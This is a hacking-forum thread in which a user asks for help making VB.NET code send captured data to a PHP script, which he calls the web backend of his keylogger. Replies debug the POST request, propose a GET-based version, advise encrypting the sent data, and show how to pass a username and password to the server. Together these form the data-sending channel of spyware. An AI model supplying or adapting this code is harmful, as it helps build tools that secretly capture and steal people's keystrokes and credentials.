Hello
So I'm using POST in vb.net to send a variable to my php file
Code Dim request As WebRequest = WebRequest.Create("file:///D:/XAMP/htdocs/logwegschrijven.php")
Dim postData As String = "message=" + codex & "&" & teversturen
Dim data As Byte() = Encoding.UTF8.GetBytes(postData)
Dim response As WebResponse
request.Method = "POST"
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = data.Length
Dim stream As Stream = request.GetRequestStream()
stream.Write(data, 0, data.Length)
stream.Close()
response = request.GetResponse()
Dim sr As New StreamReader(response.GetResponseStream())
And the php file has :
Code <?php
if (isset($_POST['message']))
{
$receivedData = $_POST['message'];
$file = "./test.txt";
file_put_content($file, $receivedData)
}
?>
It get's sent to my php file, but the file doesn't use it, the .php code just get's replaced by the vbnet variables. How do I fix this?
My php skills suck
There's a reason you use xampp.. to host a server on localhost. Use it. localhost/logwegschrijven.php
Also
1) What does the php file do
2) Post data is formatted in "var=value&var=value&var=value", check that
3) ..Replaced? Where does it say [..].Replace("","") ?
4) What value hold codex & teversturen (see 2)
5) If you're saying the .php file doesn't do anything, read what I said to begin with.
BlackCap Wrote:You're even more verbose than Java. About using GoTo's in VB/C#:
Only3 Wrote:asm use it why u shouldnt
codex holds computername + date and time, teversturen holds the files I need to send
Ok So I changed it to
Code Dim request As WebRequest = WebRequest.Create("file:///D:/XAMP/htdocs/logwegschrijven.php")
Dim postData As String = "message=" + codex & "&" & teversturen
Dim data As Byte() = Encoding.UTF8.GetBytes(postData)
Dim response As WebResponse
request.Method = "POST"
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = data.Length
Dim stream As Stream = request.GetRequestStream()
stream.Write(data, 0, data.Length)
stream.Close()
response = request.GetResponse()
Dim sr As New StreamReader(response.GetResponseStream())
And the php file has :
Code <?php
if (isset($_POST['message']))
{
$receivedData = $_POST['message'];
$file = "./test.txt";
file_put_content($file, $receivedData)
}
?>
By the way this is my first php project so that's why the php code is stupid probably.
And It doesn't say Replace("",""). The php code gets replaced by the variables inside "message=" + codex & "&" & teversturen
thanks in advance
Nov 16, 2013 03:35 PM
(This post was last modified: Nov 16, 2013 03:40 PM by CyberTechnologyInc.)
Why don't you just use GET?
I have no experience in sending data as a post request from vb.net and that's why I'll show you this method :p
to do a get request in vb.net simply do this:
Code dim wc as new webclient
wc.proxy = nothing
dim result as string = wc.downloadstring("file:///D:/XAMP/htdocs/logwegschrijven.php?data=testing123") 'Not sure if that will work for local paths (it does work for websites though)
then the php would be:
Code <?php
$data = $_GET['data'];
file_put_contents("./test.txt", $data)
?>
I think I found the problem:
Dim postData As String = "message=" + codex & "&" & teversturen
Say codex = "test" and teversturen = "something", the post would be:
message=test&something
Aka, "message=test" and "something="
Change your & "&" & to something like & "|" &
Also, change "file:///D/[..]/logwegschrijven.php" to "localhost/logwegschrijven.php", and make sure your xampp server is running
BlackCap Wrote:You're even more verbose than Java. About using GoTo's in VB/C#:
Only3 Wrote:asm use it why u shouldnt
I don't know some pro coder told me to send the data via php POST request to the Web backend of my keylogger instead of ftp. So I went ahead and tryed it. He explicitely said not to use get dunno why. So you are saying Use GET before the message reaches 2083 characters?
Nov 16, 2013 03:46 PM
(This post was last modified: Nov 16, 2013 03:54 PM by CyberTechnologyInc.)
It's up to you, lol@pro_coder... if I were you I'd encrypt the variables being sent. then Decrypt them server-side. But you don't have to.
(Nov 16, 2013 03:44 PM)Ubernoob Wrote: I don't know some pro coder told me to send the data via php POST request to the Web backend of my keylogger instead of ftp. So I went ahead and tryed it. He explicitely said not to use get dunno why. So you are saying Use GET before the message reaches 2083 characters?
Think about it..
"GET" -> Explicity used to only get data, not post
"POST" -> Post data and get return value
...Where do the 2083 characters suddenly come from?
I'd recommend using a database instead of a text file.
BlackCap Wrote:You're even more verbose than Java. About using GoTo's in VB/C#:
Only3 Wrote:asm use it why u shouldnt
(Nov 16, 2013 03:56 PM)Temploit Wrote: Think about it..
"GET" -> Explicity used to only get data, not post
"POST" -> Post data and get return value
...Where do the 2083 characters suddenly come from?
I'd recommend using a database instead of a text file.
When you post data, you send data and GET the outcome.
When you GET data, you send data and GET the outcome.
It's just the actual transferring method (through url for GET, not sure about POST) that's different. Doesn't really matter which one you use... And yes, there's a max limit of characters for both, but the GET limit is smaller than the post.
(Nov 16, 2013 03:56 PM)Temploit Wrote: Think about it..
"GET" -> Explicity used to only get data, not post
"POST" -> Post data and get return value
...Where do the 2083 characters suddenly come from?
I'd recommend using a database instead of a text file.
2083 I think is the limit of the GET thing. And database is even more complex, it's just a simple keylogger man. Nothing fancy . What would be the benefit in this case?
(Nov 16, 2013 04:10 PM)Ubernoob Wrote: 2083 I think is the limit of the GET thing. And database is even more complex, it's just a simple keylogger man. Nothing fancy . What would be the benefit in this case?
If it's nothing fancy, don't mind what I said.
Back to the problem, if there still is one.
BlackCap Wrote:You're even more verbose than Java. About using GoTo's in VB/C#:
Only3 Wrote:asm use it why u shouldnt
Changing the ampersand didn't change a thing. And when I do localhost/logwegschrijven.php I get an error. Maybe it's because it isn't on my c drive but on my d drive. Maybe I should just try the get method instead and encode it, looks alot more simple. Thanks for your help anyway
If you need any help, just pm me your skype. :)
dim wc as new webclient
wc.Proxy = Nothing
Dim result As String = wc.DownloadString("http://localhost/logwegschrijven.php?data=" & codex & "&" & teversturen)
Okay so I did this, it doesn't give any errors. But the file doesn't appear. Do I need to do something like chmod??( I don't have skype)
Nov 16, 2013 05:46 PM
(This post was last modified: Nov 16, 2013 05:47 PM by CyberTechnologyInc.)
Make sure that the actual path the php file is writing to can be accessible, give the script full permissions as owner. Also, try making the text file in the same folder as the script.
Uhmmm, if you are sending say, a username and password it'd be like this:
Code dim wc as new webclient
wc.Proxy = Nothing
Dim result As String = wc.DownloadString("http://localhost/logwegschrijven.php?username=" & user & "&password=" & pass)
|